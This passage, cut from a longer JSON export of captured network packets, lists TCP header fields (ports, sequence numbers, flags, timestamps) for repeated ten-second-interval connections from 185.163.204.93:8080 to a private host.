\"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50096, \"tcp_seq\": 747942180, \"tcp_ack\": 1897488119, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 61, \"timestamp\": 1777472987.026286, \"timestamp_iso\": \"2026-04-29T19:59:47.026286\", \"timestamp_human\": \"2026-04-29 19:59:47.026\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 38745, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50096, \"tcp_seq\": 747942180, \"tcp_ack\": 1897488278, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 63, \"timestamp\": 1777472997.101853, \"timestamp_iso\": \"2026-04-29T19:59:57.101853\", \"timestamp_human\": \"2026-04-29 19:59:57.101\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 38746, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50096, \"tcp_seq\": 747942180, \"tcp_ack\": 1897488278, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 65, \"timestamp\": 1777473007.116552, \"timestamp_iso\": \"2026-04-29T20:00:07.116552\", \"timestamp_human\": \"2026-04-29 20:00:07.116\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 38747, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50096, \"tcp_seq\": 747942180, \"tcp_ack\": 1897488278, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 67, \"timestamp\": 1777473017.145962, \"timestamp_iso\": \"2026-04-29T20:00:17.145962\", \"timestamp_human\": \"2026-04-29 20:00:17.145\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 38748, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50096, \"tcp_seq\": 747942180, \"tcp_ack\": 1897488278, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 71, \"timestamp\": 1777473027.32177, \"timestamp_iso\": \"2026-04-29T20:00:27.321770\", \"timestamp_human\": \"2026-04-29 20:00:27.321\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 38749, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50096, \"tcp_seq\": 747942180, \"tcp_ack\": 1897488278, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 73, \"timestamp\": 1777473037.335338, \"timestamp_iso\": \"2026-04-29T20:00:37.335338\", \"timestamp_human\": \"2026-04-29 20:00:37.335\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 38750, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50096, \"tcp_seq\": 747942180, \"tcp_ack\": 1897488278, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 75, \"timestamp\": 1777473047.430447, \"timestamp_iso\": \"2026-04-29T20:00:47.430447\", \"timestamp_human\": \"2026-04-29 20:00:47.430\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 38751, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50096, \"tcp_seq\": 747942180, \"tcp_ack\": 1897488278, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 76, \"timestamp\": 1777473053.002744, \"timestamp_iso\": \"2026-04-29T20:00:53.002744\", \"timestamp_human\": \"2026-04-29 20:00:53.002\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 38752, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50096, \"tcp_seq\": 747942180, \"tcp_ack\": 1897488278, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 79, \"timestamp\": 1777473053.053462, \"timestamp_iso\": \"2026-04-29T20:00:53.053462\", \"timestamp_human\": \"2026-04-29 20:00:53.053\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50096, \"tcp_seq\": 747942181, \"tcp_ack\": 1897488279, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 81, \"timestamp\": 1777473053.071706, \"timestamp_iso\": \"2026-04-29T20:00:53.071706\", \"timestamp_human\": \"2026-04-29 20:00:53.071\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50144, \"tcp_seq\": 2135233061, \"tcp_ack\": 1125558934, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 92, \"timestamp\": 1777473053.994591, \"timestamp_iso\": \"2026-04-29T20:00:53.994591\", \"timestamp_human\": \"2026-04-29 20:00:53.994\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 43358, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50144, \"tcp_seq\": 2135233062, \"tcp_ack\": 1125558938, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 94, \"timestamp\": 1777473053.994701, \"timestamp_iso\": \"2026-04-29T20:00:53.994701\", \"timestamp_human\": \"2026-04-29 20:00:53.994\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 43359, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50144, \"tcp_seq\": 2135233062, \"tcp_ack\": 1125559097, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 97, \"timestamp\": 1777473064.002844, \"timestamp_iso\": \"2026-04-29T20:01:04.002844\", \"timestamp_human\": \"2026-04-29 20:01:04.002\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 43360, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50144, \"tcp_seq\": 2135233062, \"tcp_ack\": 1125559097, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 99, \"timestamp\": 1777473074.09281, \"timestamp_iso\": \"2026-04-29T20:01:14.092810\", \"timestamp_human\": \"2026-04-29 20:01:14.092\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 43361, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50144, \"tcp_seq\": 2135233062, \"tcp_ack\": 1125559097, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 101, \"timestamp\": 1777473084.094691, \"timestamp_iso\": \"2026-04-29T20:01:24.094691\", \"timestamp_human\": \"2026-04-29 20:01:24.094\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 43362, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50144, \"tcp_seq\": 2135233062, \"tcp_ack\": 1125559097, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 103, \"timestamp\": 1777473094.185298, \"timestamp_iso\": \"2026-04-29T20:01:34.185298\", \"timestamp_human\": \"2026-04-29 20:01:34.185\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 43363, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50144, \"tcp_seq\": 2135233062, \"tcp_ack\": 1125559097, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 105, \"timestamp\": 1777473104.19712, \"timestamp_iso\": \"2026-04-29T20:01:44.197120\", \"timestamp_human\": \"2026-04-29 20:01:44.197\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 43364, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50144, \"tcp_seq\": 2135233062, \"tcp_ack\": 1125559097, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 109, \"timestamp\": 1777473114.292182, \"timestamp_iso\": \"2026-04-29T20:01:54.292182\", \"timestamp_human\": \"2026-04-29 20:01:54.292\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 43365, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50144, \"tcp_seq\": 2135233062, \"tcp_ack\": 1125559097, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 110, \"timestamp\": 1777473118.084023, \"timestamp_iso\": \"2026-04-29T20:01:58.084023\", \"timestamp_human\": \"2026-04-29 20:01:58.084\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 43366, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50144, \"tcp_seq\": 2135233062, \"tcp_ack\": 1125559097, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 113, \"timestamp\": 1777473118.140578, \"timestamp_iso\": \"2026-04-29T20:01:58.140578\", \"timestamp_human\": \"2026-04-29 20:01:58.140\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50144, \"tcp_seq\": 2135233063, \"tcp_ack\": 1125559098, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 115, \"timestamp\": 1777473118.167587, \"timestamp_iso\": \"2026-04-29T20:01:58.167587\", \"timestamp_human\": \"2026-04-29 20:01:58.167\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50161, \"tcp_seq\": 199973462, \"tcp_ack\": 2775483792, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 126, \"timestamp\": 1777473119.435096, \"timestamp_iso\": \"2026-04-29T20:01:59.435096\", \"timestamp_human\": \"2026-04-29 20:01:59.435\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 36940, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50161, \"tcp_seq\": 199973463, \"tcp_ack\": 2775483796, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 128, \"timestamp\": 1777473119.435252, \"timestamp_iso\": \"2026-04-29T20:01:59.435252\", \"timestamp_human\": \"2026-04-29 20:01:59.435\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 36941, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50161, \"tcp_seq\": 199973463, \"tcp_ack\": 2775483955, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 131, \"timestamp\": 1777473129.523454, \"timestamp_iso\": \"2026-04-29T20:02:09.523454\", \"timestamp_human\": \"2026-04-29 20:02:09.523\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 36942, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50161, \"tcp_seq\": 199973463, \"tcp_ack\": 2775483955, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 133, \"timestamp\": 1777473139.525796, \"timestamp_iso\": \"2026-04-29T20:02:19.525796\", \"timestamp_human\": \"2026-04-29 20:02:19.525\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 36943, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50161, \"tcp_seq\": 199973463, \"tcp_ack\": 2775483955, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 135, \"timestamp\": 1777473149.538471, \"timestamp_iso\": \"2026-04-29T20:02:29.538471\", \"timestamp_human\": \"2026-04-29 20:02:29.538\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 36944, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50161, \"tcp_seq\": 199973463, \"tcp_ack\": 2775483955, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 137, \"timestamp\": 1777473159.542328, \"timestamp_iso\": \"2026-04-29T20:02:39.542328\", \"timestamp_human\": \"2026-04-29 20:02:39.542\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 36945, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50161, \"tcp_seq\": 199973463, \"tcp_ack\": 2775483955, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 141, \"timestamp\": 1777473169.556331, \"timestamp_iso\": \"2026-04-29T20:02:49.556331\", \"timestamp_human\": \"2026-04-29 20:02:49.556\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 36946, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50161, \"tcp_seq\": 199973463, \"tcp_ack\": 2775483955, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 143, \"timestamp\": 1777473179.571812, \"timestamp_iso\": \"2026-04-29T20:02:59.571812\", \"timestamp_human\": \"2026-04-29 20:02:59.571\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 36947, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50161, \"tcp_seq\": 199973463, \"tcp_ack\": 2775483955, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 144, \"timestamp\": 1777473184.163963, \"timestamp_iso\": \"2026-04-29T20:03:04.163963\", \"timestamp_human\": \"2026-04-29 20:03:04.163\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 36948, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50161, \"tcp_seq\": 199973463, \"tcp_ack\": 2775483955, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 147, \"timestamp\": 1777473184.188821, \"timestamp_iso\": \"2026-04-29T20:03:04.188821\", \"timestamp_human\": \"2026-04-29 20:03:04.188\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50161, \"tcp_seq\": 199973464, \"tcp_ack\": 2775483956, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 149, \"timestamp\": 1777473184.207833, \"timestamp_iso\": \"2026-04-29T20:03:04.207833\", \"timestamp_human\": \"2026-04-29 20:03:04.207\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50176, \"tcp_seq\": 1516837733, \"tcp_ack\": 275940485, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 160, \"timestamp\": 1777473184.872277, \"timestamp_iso\": \"2026-04-29T20:03:04.872277\", \"timestamp_human\": \"2026-04-29 20:03:04.872\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 22642, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50176, \"tcp_seq\": 1516837734, \"tcp_ack\": 275940489, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 162, \"timestamp\": 1777473184.872375, \"timestamp_iso\": \"2026-04-29T20:03:04.872375\", \"timestamp_human\": \"2026-04-29 20:03:04.872\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 22643, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50176, \"tcp_seq\": 1516837734, \"tcp_ack\": 275940648, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 165, \"timestamp\": 1777473194.880161, \"timestamp_iso\": \"2026-04-29T20:03:14.880161\", \"timestamp_human\": \"2026-04-29 20:03:14.880\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 22644, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50176, \"tcp_seq\": 1516837734, \"tcp_ack\": 275940648, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 167, \"timestamp\": 1777473204.882137, \"timestamp_iso\": \"2026-04-29T20:03:24.882137\", \"timestamp_human\": \"2026-04-29 20:03:24.882\", \"size\": 66, 